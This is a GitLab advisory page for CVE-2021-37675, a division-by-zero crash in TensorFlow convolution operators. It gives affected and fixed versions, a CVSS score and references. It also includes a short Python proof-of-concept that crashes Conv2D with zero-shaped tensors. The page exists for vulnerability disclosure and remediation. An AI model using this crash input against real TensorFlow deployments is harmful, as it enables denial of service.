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  5. CVE-2021-37675

CVE-2021-37675: Division by 0 in most convolution operators

August 25, 2021 (updated November 13, 2024)

Most implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:

import tensorflow as tf

tf.compat.v1.disable_v2_behavior()
tf.raw_ops.Conv2D(
input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),
strides = [1, 1, 1, 1],
padding = "SAME")

References

  • github.com/advisories/GHSA-9c8h-2mv3-49ww
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-588.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-786.yaml
  • github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-297.yaml
  • github.com/tensorflow/tensorflow
  • github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4
  • github.com/tensorflow/tensorflow/security/advisories/GHSA-9c8h-2mv3-49ww
  • nvd.nist.gov/vuln/detail/CVE-2021-37675

Code Behaviors & Features

Detect and mitigate CVE-2021-37675 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 2.3.4, all versions starting from 2.4.0 before 2.4.3, all versions starting from 2.5.0 before 2.5.1, version 2.5.0

Fixed versions

  • 2.3.4
  • 2.4.3
  • 2.5.1

Solution

Upgrade to versions 2.3.4, 2.4.3, 2.5.1 or above.

Impact 5.5 MEDIUM

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Learn more about CVSS

Weakness

  • CWE-369: Divide By Zero

Source file

pypi/tensorflow/CVE-2021-37675.yml

Spotted a mistake? Edit the file on GitLab.

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